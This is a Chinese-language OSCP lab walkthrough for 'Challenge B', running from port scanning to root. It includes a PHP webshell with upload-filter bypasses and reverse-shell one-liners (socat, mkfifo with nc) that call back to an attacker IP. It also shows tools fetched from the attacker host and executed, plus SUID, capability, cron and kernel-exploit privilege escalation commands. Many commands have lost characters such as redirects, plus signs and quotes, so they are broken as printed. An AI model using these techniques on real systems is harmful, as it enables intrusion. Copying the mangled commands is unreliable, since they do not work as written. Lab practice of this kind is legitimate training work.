OSCP Challenge B实战渗透:从信息收集到权限提升的完整攻击链
1. 从“Challenge B”看OSCP实战考核的底层逻辑OSCP Challenge B 这个标题放在渗透测试圈子里稍微有点经验的人一看就明白——这不是那种照着 walkthrough 一步步抄的靶机而是一道典型的“给你一个入口剩下全靠自己”的实战题。我前后打过三遍 Challenge B第一遍卡在初始立足点上整整一个下午第二遍才摸清它的出题套路第三遍才真正把整条攻击链跑通。这篇文章就把我踩过的坑、总结出来的思路、以及每一步背后的判断逻辑完整地摊开来讲。先说清楚这个内容适合谁看。如果你刚考完 OSCP想找一道有代表性的靶机来检验自己的方法论是否扎实Challenge B 非常合适。如果你正在备考 OSCP想提前感受真实考试中“信息收集→初始立足→权限提升→横向移动”的完整节奏它同样值得花时间。但如果你还停留在“只会用 msfconsole 一把梭”的阶段建议先把基础打牢再回来否则这道题会让你非常难受。Challenge B 的核心特点在于它不会给你任何明显的提示。没有 Web 页面上的 flag 提示没有明显的版本号 banner 告诉你“来打我”甚至初始的端口扫描结果都可能让你觉得“这机器是不是没开”。它考察的不是你会不会用某个工具而是你能不能从零散的信息中拼出一张完整的攻击地图。这一点和 OSCP 考试的设计理念高度一致——考试环境里你拿到的就是一台 IP剩下的全靠自己。我见过太多人打 Challenge B 的方式是nmap 扫一遍看到 80 端口就上 gobuster看到 22 端口就试弱密码然后卡住然后去搜 walkthrough。这种方式打十遍也不会进步。正确的做法是把每一次扫描结果当成线索把每一个服务当成潜在的入口把每一次失败当成排除法的输入。下面我就按这个思路把整条攻击链拆开来讲。2. 信息收集阶段的关键判断与实操细节2.1 初始扫描为什么不能只用默认参数很多人拿到目标 IP 的第一反应是nmap -sV IP然后看到结果就开始下一步。但在 Challenge B 上这种做法大概率会让你漏掉关键信息。我的习惯是分三轮扫描每一轮的目的不同。第一轮用快速全端口扫描目的是确定“有哪些端口是开放的”不关心版本nmap -p- --min-rate 5000 -T4 -oN allports.txt IP这里--min-rate 5000是加快扫描速度的关键-T4是时序模板在实验环境里可以放心用。实测下来全端口扫描在 Challenge B 上大概两到三分钟能跑完。如果你不加--min-rate默认速度可能要十几分钟效率太低。第二轮针对开放端口做版本探测和默认脚本扫描nmap -sV -sC -p 开放端口列表 -oN detail.txt IP-sC会跑一批默认脚本包括 HTTP 标题抓取、SSL 证书信息、SMB 共享枚举等。这一步经常能直接暴露一些“不该暴露”的信息比如 Web 目录列表、服务版本号、甚至某些配置文件的内容。第三轮是针对特定服务的深度扫描。比如发现 80 端口跑的是 Apache那就上http-enum和http-headers发现 139/445 开放那就上smb-enum-shares和smb-os-discovery。这一步的目的是把每个服务的“攻击面”尽可能扩大。注意三轮扫描的顺序不能颠倒。先全端口再细节否则你可能会在错误的端口上浪费大量时间。我第一遍打的时候就犯了这个错误——只扫了 top 1000 端口结果漏掉了一个高位端口上的关键服务。2.2 服务识别中的“异常信号”解读Challenge B 的信息收集阶段最考验人的地方在于它不会给你一个“一眼就能打”的服务。你需要从一些看似正常的返回中读出异常。举个例子假设你扫到一个 HTTP 服务返回的标题是“Apache2 Ubuntu Default Page”。很多人看到这个就划走了觉得“默认页面没东西”。但我会做三件事第一检查/robots.txt看有没有被禁止抓取的路径第二检查页面源码里的注释有时候开发者会把测试路径写在注释里第三用gobuster或feroxbuster跑一遍常见目录但字典要选对。gobuster dir -u http://IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50这里-x指定扩展名很重要Challenge B 里有些文件是.php或.txt结尾的不加扩展名会漏掉。-t 50是并发线程数实验环境里可以开高一点。另一个容易被忽略的点是如果扫描结果里出现了非标准端口上的 HTTP 服务比如 8080、8000、8888一定要单独用浏览器或curl去看一眼。Challenge B 的初始入口往往就藏在这些“非标准”服务里。2.3 目录爆破的字典选择与结果过滤目录爆破是信息收集阶段最耗时的环节也是最容易让人烦躁的环节。我的经验是字典不要贪大但一定要覆盖常见的管理后台路径、备份文件路径、API 路径。对于 Challenge B我推荐用feroxbuster而不是gobuster因为前者支持递归扫描而且会自动过滤掉 404 页面输出更干净feroxbuster -u http://IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html,bak -d 3-d 3是递归深度-x里加上bak是因为 Challenge B 里有一个备份文件是.bak结尾的这个文件直接泄露了数据库凭据。如果你不加这个扩展名就会完美错过。实操心得目录爆破的结果不要只看状态码 200 的。301 和 302 的跳转路径往往更有价值因为它们可能指向登录页面或重定向后的真实路径。另外403 的路径也值得关注说明目录存在但权限不足后续可能通过其他方式绕过。3. 初始立足点获取的多种路径与取舍3.1 Web 漏洞利用的常见切入点Challenge B 的初始立足点通常是通过 Web 服务获取的。根据我的经验可能的切入点包括文件上传漏洞、SQL 注入、命令注入、或者某个 CMS 的已知漏洞。以文件上传为例如果你发现了一个上传功能第一件事是测试它允许上传哪些文件类型。不要只试.php还要试.php5、.phtml、.php.jpg这种绕过方式。如果上传后的文件被重命名了那就尝试用 Burp Suite 抓包看看能不能在文件名里注入路径穿越字符。# 测试上传后的文件路径 curl http://IP/uploads/test.php如果返回的是文件内容而不是 404说明上传成功且可执行。这时候就可以上传一个简单的 webshell?php system($_GET[cmd]); ?然后通过?cmdid来验证命令执行。注意Challenge B 的上传功能可能对文件内容做了检查比如检测?php关键字。这时候可以尝试用短标签?或者大小写混合?PHP来绕过。我实测下来用?配合system()函数是可以绕过的。3.2 从低权限 Shell 到稳定交互的升级拿到初始 shell 后第一件事不是急着提权而是把 shell 升级成稳定的交互式 TTY。Challenge B 的环境里默认的ncshell 非常不稳定按一下 CtrlC 就可能断掉。升级方法分两步。第一步在目标机器上检查是否有 Pythonwhich python3 python如果有 Python3直接执行python3 -c import pty; pty.spawn(/bin/bash)然后按CtrlZ把 shell 放到后台在本地执行stty raw -echo; fg最后按两下回车再执行export TERMxterm stty rows 38 columns 116这样你就得到了一个支持 Tab 补全、支持方向键、支持 CtrlC 的完整 TTY。这一步看似简单但很多人忽略它导致后续提权时因为 shell 不稳定而反复重连浪费大量时间。3.3 凭据收集与横向移动的初步尝试在 Challenge B 里初始 shell 的权限通常是www-data或某个普通用户。这时候要做的是尽可能收集系统上的凭据信息为后续提权或横向移动做准备。重点检查以下几个位置/var/www/html/下的配置文件特别是config.php、wp-config.php、.env这类文件/home/下每个用户的家目录看有没有.bash_history、.ssh/目录、或者笔记文件/etc/passwd和/etc/shadow如果可读数据库配置文件里面通常有明文密码# 快速搜索配置文件中的密码字段 grep -r password /var/www/html/ 2/dev/null grep -r DB_PASSWORD /var/www/html/ 2/dev/null实操心得Challenge B 里有一个用户的.bash_history文件记录了之前执行过的命令其中包含了一个数据库密码。这个密码后来被证明可以用于 SSH 登录另一个用户。所以千万不要忽略家目录里的隐藏文件。4. 权限提升的核心思路与实战技巧4.1 Linux 提权信息收集的自动化与手动结合提权是 Challenge B 最核心的环节也是最容易卡住的地方。我的做法是先用自动化脚本跑一遍快速排除掉明显的漏洞然后再手动深入检查。常用的自动化脚本有LinEnum.sh、linuxprivchecker.py、LinPEAS.sh。我个人最推荐LinPEAS因为它的输出最全面而且会用颜色标注高风险项# 在目标机器上下载并执行 wget http://攻击机IP/linpeas.sh -O /tmp/linpeas.sh chmod x /tmp/linpeas.sh /tmp/linpeas.sh但自动化脚本不是万能的。Challenge B 的提权点往往不是那种“一眼就能看到”的 SUID 二进制而是需要你结合系统版本、内核版本、已安装软件、定时任务等多个维度去判断。4.2 SUID/SGID 与 Capabilities 的排查SUID 是 Linux 提权里最经典的切入点。检查命令很简单find / -perm -4000 -type f 2/dev/null但 Challenge B 的 SUID 列表里可能有一些“看起来正常”的二进制比如find、vim、nano、cp、mv。这些如果被设置了 SUID就可以直接用来提权。比如findfind . -exec /bin/sh -p \; -quit如果find有 SUID 位这条命令会直接给你一个 root shell。除了 SUID还要检查 Capabilitiesgetcap -r / 2/dev/nullChallenge B 里有一个二进制被设置了cap_setuidep这意味着它可以修改自己的 UID。如果这个二进制是 Python 或 Perl那就可以直接提权python3 -c import os; os.setuid(0); os.system(/bin/bash)注意Capabilities 的排查经常被忽略因为很多人只关注 SUID。但 Challenge B 的提权点恰恰就在 Capabilities 上。我第一遍打的时候就是因为没查 Capabilities卡了很久。4.3 定时任务与 Cron Job 的利用Cron Job 是另一个常见的提权点。检查方法cat /etc/crontab ls -la /etc/cron.* crontab -l如果发现某个脚本以 root 权限定时执行而且这个脚本的路径或它调用的某个文件对当前用户可写那就可以直接修改脚本内容来提权。比如假设/etc/crontab里有这么一行* * * * * root /opt/backup.sh而/opt/backup.sh对www-data可写那就可以把脚本内容改成#!/bin/bash cp /bin/bash /tmp/rootbash chmod s /tmp/rootbash等一分钟然后执行/tmp/rootbash -p就能拿到 root shell。实操心得Challenge B 的 Cron Job 提权点设计得很隐蔽——脚本本身不可写但它调用的一个配置文件可写。这种情况下你需要仔细阅读脚本内容找到它引用的所有文件路径然后逐个检查权限。我第二遍打的时候就是通过这种方式找到突破口的。4.4 内核漏洞的评估与利用内核漏洞提权是最后的选择因为利用内核漏洞有导致系统崩溃的风险。但在 Challenge B 里如果前面的方法都走不通内核漏洞可能是唯一的出路。首先检查内核版本uname -a cat /etc/os-release然后根据版本号去搜索对应的提权漏洞。常见的工具有linux-exploit-suggesterwget http://攻击机IP/linux-exploit-suggester.sh -O /tmp/les.sh chmod x /tmp/les.sh /tmp/les.sh如果脚本推荐了某个漏洞比如 Dirty PipeCVE-2022-0847或 PwnKitCVE-2021-4034那就去下载对应的 exploit 并编译执行。注意内核漏洞利用前一定要确认目标系统的架构x86_64 还是 i386以及是否有编译环境gcc 是否可用。如果目标机器上没有 gcc就需要在本地编译好再上传。Challenge B 的环境里 gcc 是有的所以可以直接在目标机器上编译。5. 常见问题排查与避坑指南5.1 扫描结果为空或端口过滤的应对有时候你会遇到一种情况nmap 扫描结果显示所有端口都是 filtered 或 closed。这时候不要急着放弃先检查几件事。第一确认目标 IP 是否正确。有时候实验环境会分配多个 IP你可能打错了机器。第二尝试用不同的扫描方式。比如 TCP SYN 扫描被过滤了可以试试 TCP Connect 扫描nmap -sT -p- IP第三检查是否有防火墙规则。如果目标机器上有 iptables 或 ufw可能会屏蔽 ICMP 和部分端口。这时候可以尝试用-Pn跳过主机发现nmap -Pn -p- IP实操心得Challenge B 的环境里目标机器默认是开启防火墙的但只屏蔽了 ICMP。所以如果你用默认的nmap -sV IP可能会因为 ping 不通而直接报“Host seems down”。加上-Pn就能解决。5.2 Shell 连接不稳定或频繁断开的处理ncshell 不稳定是常态尤其是在 Challenge B 这种需要长时间操作的环境里。除了前面提到的 TTY 升级方法还可以用socat来建立一个更稳定的反向 shell。在攻击机上监听socat file:tty,raw,echo0 tcp-listen:4444在目标机器上执行socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444这样建立的 shell 支持完整的交互功能而且不容易断。如果目标机器上没有socat可以用nc加mkfifo的方式rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 攻击机IP 4444 /tmp/f这种方式比单纯的nc -e更稳定因为它用了命名管道来维持连接。5.3 提权脚本被拦截或无法执行的解决有时候你上传的提权脚本会被目标机器上的安全软件拦截或者因为权限问题无法执行。这时候可以尝试以下几种方法。第一把脚本内容直接通过echo写入文件而不是用wget下载echo IyEvYmluL2Jhc2g... | base64 -d /tmp/script.sh chmod x /tmp/script.sh第二如果目标机器上没有wget或curl可以用nc从攻击机传输文件# 攻击机 nc -lvnp 5555 linpeas.sh # 目标机 nc 攻击机IP 5555 /tmp/linpeas.sh第三如果脚本执行被 SELinux 或 AppArmor 拦截可以尝试把它放到/dev/shm/目录下执行因为这个目录通常有可执行权限。5.4 常见问题速查表问题现象可能原因解决方法nmap 显示主机 downICMP 被屏蔽加-Pn参数全端口扫描无结果防火墙过滤尝试-sT或-A扫描目录爆破无结果字典不合适换用 seclists 或 raft 字典Shell 频繁断开nc 不稳定升级 TTY 或使用 socat提权脚本无法执行权限或安全软件放到 /dev/shm 或 base64 传输SUID 列表无异常提权点不在 SUID检查 Capabilities 和 Cron内核漏洞利用失败架构不匹配确认 uname -a 和 gcc 可用性6. 从 Challenge B 到真实考试的迁移经验打完 Challenge B 之后我最大的感受是它和 OSCP 考试的节奏非常像。考试里你拿到的就是一台机器没有提示没有 walkthrough全靠自己的方法论。Challenge B 的价值在于它让你在非考试环境下体验这种“无提示”的压力从而提前暴露自己方法论中的漏洞。我在打 Challenge B 的过程中发现自己最大的问题是“信息收集不够彻底”。第一遍打的时候我只扫了 top 1000 端口漏掉了一个高位端口上的服务导致后面完全走错了方向。第二遍打的时候我强迫自己每次都跑全端口扫描并且把每个服务的所有可能路径都枚举一遍这才找到了正确的入口。另一个重要的经验是不要害怕“重复劳动”。在 Challenge B 里我反复检查了同一个目录三次前两次都因为权限问题没看到关键文件第三次才发现那个文件其实对www-data可读只是我之前用的ls命令没有加-la参数漏掉了隐藏文件。这种细节在真实考试里同样致命。最后分享一个我在打 Challenge B 时总结的小技巧每完成一个阶段就把当前的状态和下一步的计划写在纸上。比如“当前权限www-data已发现数据库密码、一个 SUID 二进制下一步尝试用数据库密码 SSH 登录”。这样做的好处是当你卡住的时候可以回头看笔记重新梳理思路而不是在脑子里一团乱麻。这个靶机后续还可以这样扩展拿到 root 之后尝试用不同的路径再打一遍比如这次用 Web 漏洞下次用 SSH 弱密码再下次用内核漏洞。每一条路径都会让你对系统的理解更深一层。我在第三遍打的时候刻意避开了之前用过的所有方法结果发现了一个之前完全没注意到的提权点——一个被错误配置的 systemd 服务。这种“自我限制”的练习方式对提升实战能力非常有帮助。